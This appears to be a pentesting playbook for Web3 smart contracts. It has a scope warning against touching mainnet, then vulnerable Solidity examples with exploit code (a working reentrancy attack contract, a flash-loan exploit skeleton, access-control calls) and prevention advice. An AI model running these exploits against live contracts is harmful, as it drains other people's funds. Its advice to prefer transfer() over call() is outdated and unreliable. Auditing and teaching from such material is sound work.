Exploiting Web3 Smart Contracts

Exploiting Web3 and Smart Contracts

When to Use

• Smart contract security auditing
• DeFi protocol testing
• Web3 application pentesting
• Blockchain vulnerability assessment
• NFT platform security

Scope and authorization. A deployed mainnet contract is not a test target. It is a live system custodying other people's funds, it is permissionless — so nothing stops you technically — and it is irreversible once you transact. None of that makes exploitation authorized.

• Fork, never touch mainnet. Prove every finding against a local fork (Anvil, Hardhat, Tenderly) or a testnet deployment. There is no legitimate reason to run a working exploit against a live contract.
• The law here is unsettled — which is a reason for caution, not comfort. Two headline prosecutions went the exploiter's way: a Paris court acquitted the Platypus Finance pair in December 2023, holding that calling a public smart contract was not unauthorized access and that the emergency-withdrawal manipulation did not meet the fraud standard; and in May 2025 a US judge vacated Avraham Eisenberg's Mango Markets convictions on venue and insufficient evidence of misrepresentation, a ruling prosecutors have appealed. Do not read those as permission. Both turned on jurisdiction- specific facts, the Platypus court expressly left civil liability open, and in every one of these matters the defendant was arrested, had funds seized, and litigated for years before prevailing. Winning eventually is not the same as being authorized.
• Bug bounty scope is narrow and literal. Immunefi-style programs typically require proof on a fork, forbid mainnet exploitation and live-user impact, and have specific disclosure channels. Read the scope for the specific program before testing, not after.
• Unaudited ≠ abandoned. An anonymous or inactive deployer does not make a contract ownerless; the depositors are still identifiable victims.

For contracts you do not own, work from source and simulation only, and disclose through the project's published channel or a coordinating platform.

When NOT to Use

• Conventional web vulnerabilities in the dApp frontend or backend — use testing-web-applications and auditing-code-for-vulnerabilities
• Cryptographic primitive review — use reviewing-cryptography
• Writing up the audit — use reporting-security-findings

Environment Setup

Install Tools:

# Node.js and npm
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs

# Hardhat (Ethereum development)
npm install --save-dev hardhat

# Foundry (Rust-based toolkit)
curl -L https://foundry.paradigm.xyz | bash
foundryup

# Slither (static analysis)
pip3 install slither-analyzer

# Mythril (security analysis)
pip3 install mythril

Connect to Networks:

// Ethereum Mainnet via Infura
const Web3 = require('web3');
const web3 = new Web3('https://mainnet.infura.io/v3/YOUR_KEY');

// Local development (Hardhat/Ganache)
const web3 = new Web3('http://127.0.0.1:8545');

Common Smart Contract Vulnerabilities

1. Reentrancy

Vulnerable Contract:

contract Vulnerable {
    mapping(address => uint) public balances;

    function withdraw() public {
        uint amount = balances[msg.sender];
        // Vulnerable: external call before state update
        (bool success,) = msg.sender.call{value: amount}("");
        require(success);
        balances[msg.sender] = 0;  // State update after call
    }
}

Exploit:

contract Attack {
    Vulnerable victim;

    constructor(address _victim) {
        victim = Vulnerable(_victim);
    }

    function attack() public payable {
        victim.deposit{value: 1 ether}();
        victim.withdraw();
    }

    fallback() external payable {
        if (address(victim).balance >= 1 ether) {
            victim.withdraw();  // Reenter
        }
    }
}

Prevention:

• Checks-Effects-Interactions pattern
• ReentrancyGuard modifier
• Use transfer() instead of call()

2. Integer Overflow/Underflow

Vulnerable (Solidity < 0.8.0):

function transfer(address _to, uint256 _value) public {
    require(balances[msg.sender] - _value >= 0);  // Can underflow
    balances[msg.sender] -= _value;
    balances[_to] += _value;  // Can overflow
}

Exploit:

// Send more tokens than you have
// balances[msg.sender] = 1
// _value = 2
// 1 - 2 = 2^256 - 1 (underflow)

Prevention:

• Use Solidity >= 0.8.0 (automatic checks)
• Use SafeMath library
• Manual overflow checks

3. Access Control Issues

Vulnerable:

function withdraw() public {
    // Missing access control!
    msg.sender.transfer(address(this).balance);
}

function setOwner(address _owner) public {
    owner = _owner;  // Anyone can become owner
}

Exploit:

// Call withdraw from any address
await contract.withdraw();

// Become owner
await contract.setOwner(attackerAddress);

Prevention:

modifier onlyOwner() {
    require(msg.sender == owner, "Not owner");
    _;
}

function withdraw() public onlyOwner {
    msg.sender.transfer(address(this).balance);
}

4. Unchecked External Calls

Vulnerable:

function callExternal(address target) public {
    target.call("");  // Return value not checked
}

function sendEther(address payable recipient) public {
    recipient.send(1 ether);  // Silently fails if send() returns false
}

Prevention:

(bool success,) = target.call("");
require(success, "Call failed");

5. Delegatecall Injection

Vulnerable:

function forward(address _target, bytes memory _data) public {
    _target.delegatecall(_data);  // Executes in contract's context
}

Exploit:

// Attacker can modify contract storage
// Call selfdestruct()
// Change owner

Prevention:

• Avoid delegatecall to user-controlled addresses
• Whitelist allowed targets
• Use libraries instead

6. Front-Running / MEV

Scenario:

// DEX swap at specific price
function swap(uint256 amountIn) public {
    uint256 amountOut = getAmountOut(amountIn);
    // Attacker sees this in mempool
    // Submits transaction with higher gas to execute first
    // Changes the price before victim's tx
}

MEV Attacks:

• Front-running
• Back-running
• Sandwich attacks
• Liquidations
• Arbitrage

Mitigation:

• Commit-reveal schemes
• Private mempools (Flashbots)
• Slippage protection
• Minimal on-chain disclosure

7. Price Oracle Manipulation

Vulnerable:

// Using single DEX as price source
function getPrice() public view returns (uint256) {
    return uniswapPair.getReserves();
}

Exploit:

// Flash loan attack
// 1. Borrow large amount
// 2. Manipulate DEX price
// 3. Interact with vulnerable contract
// 4. Repay flash loan
// 5. Profit

Prevention:

• Use time-weighted average price (TWAP)
• Multiple oracle sources (Chainlink)
• Delay price updates
• Min/max price bounds

8. Denial of Service

Vulnerable:

function distribute() public {
    for (uint i = 0; i < users.length; i++) {
        users[i].transfer(amount);  // Can run out of gas
    }
}

function withdraw() public {
    // Winner takes all
    require(msg.sender == topBidder);
    msg.sender.transfer(address(this).balance);
}

Exploit:

• Create contract that rejects ether (reverts in fallback)
• Become topBidder
• Prevent anyone from winning

Prevention:

• Pull over push pattern
• Gas limits
• Emergency stop mechanisms

Auditing Tools

For deep, tool-specific command references (Slither, Mythril, Securify, Echidna, Manticore) and the Hardhat/Foundry testing frameworks, see references/tooling-and-testing.md.

DeFi-Specific Attacks

Flash Loan Attack

interface IFlashLoan {
    function flashLoan(uint256 amount) external;
}

contract FlashLoanExploit {
    function exploit() external {
        // 1. Borrow flash loan
        IFlashLoan(lender).flashLoan(1000000 ether);
    }

    function executeOperation(uint256 amount) external {
        // 2. Manipulate price oracle
        // 3. Exploit vulnerable contract
        // 4. Repay flash loan + fee
        // 5. Keep profit
    }
}

Impermanent Loss Exploitation

• Manipulate pool ratios
• Extract value from liquidity providers
• Arbitrage price differences

Governance Attacks

// Flash loan to get voting power
// Vote on malicious proposal
// Execute immediately
// Repay loan

Web3 Frontend Vulnerabilities

Wallet Connection:

// Vulnerable: No signature verification
const signature = await signer.signMessage(message);
// Attacker can replay signature

// Secure: Include nonce and timestamp
const message = `Nonce: ${nonce}\nTimestamp: ${timestamp}`;

Transaction Simulation:

// Before sending transaction
const result = await contract.callStatic.functionName(args);
// Verify expected outcome

Blockchain Forensics

Etherscan API:

# Get contract source
curl "https://api.etherscan.io/api?module=contract&action=getsourcecode&address=0x..."

# Get transactions
curl "https://api.etherscan.io/api?module=account&action=txlist&address=0x..."

Transaction Analysis:

// Get transaction
const tx = await web3.eth.getTransaction(txHash);

// Get receipt
const receipt = await web3.eth.getTransactionReceipt(txHash);

// Decode input data
const decoded = contract.interface.parseTransaction({ data: tx.input });

Event Monitoring:

// Listen for events
contract.on("Transfer", (from, to, amount) => {
    console.log(`Transfer: ${from} -> ${to}: ${amount}`);
});

// Past events
const events = await contract.queryFilter("Transfer", fromBlock, toBlock);

NFT-Specific Vulnerabilities

Metadata Manipulation:

• Centralized metadata storage
• Mutable tokenURI
• IPFS pinning issues

Minting Exploits:

// Reentrancy in minting
function mint() external payable {
    require(msg.value == price);
    (bool success,) = owner.call{value: msg.value}("");  // Vulnerable
    _mint(msg.sender, tokenId++);
}

Royalty Bypass:

• Direct NFT transfers
• Bypassing marketplace fees
• Washing trades

Testing on Mainnet Fork

Hardhat and Foundry mainnet-fork configuration is documented in references/tooling-and-testing.md.

Tools Summary

Analysis:

• Slither - Static analyzer
• Mythril - Security scanner
• Manticore - Symbolic execution
• Echidna - Fuzzer

Development:

• Hardhat - Development environment
• Foundry - Rust-based toolkit
• Remix - Online IDE
• Truffle - Development framework

Monitoring:

• Etherscan - Block explorer
• Tenderly - Debugging platform
• OpenZeppelin Defender - Security monitoring

Security Best Practices

1. Use latest Solidity (>= 0.8.0)
2. Follow Checks-Effects-Interactions pattern
3. Limit external calls
4. Validate all inputs
5. Use established libraries (OpenZeppelin)
6. Implement access control
7. Add emergency pause
8. Get professional audits
9. Use testnets extensively
10. Monitor contracts post-deployment

References

• https://book.hacktricks.xyz/blockchain
• https://consensys.github.io/smart-contract-best-practices/
• https://github.com/crytic/building-secure-contracts
• https://github.com/OpenZeppelin/openzeppelin-contracts
• https://ethernaut.openzeppelin.com/ (CTF)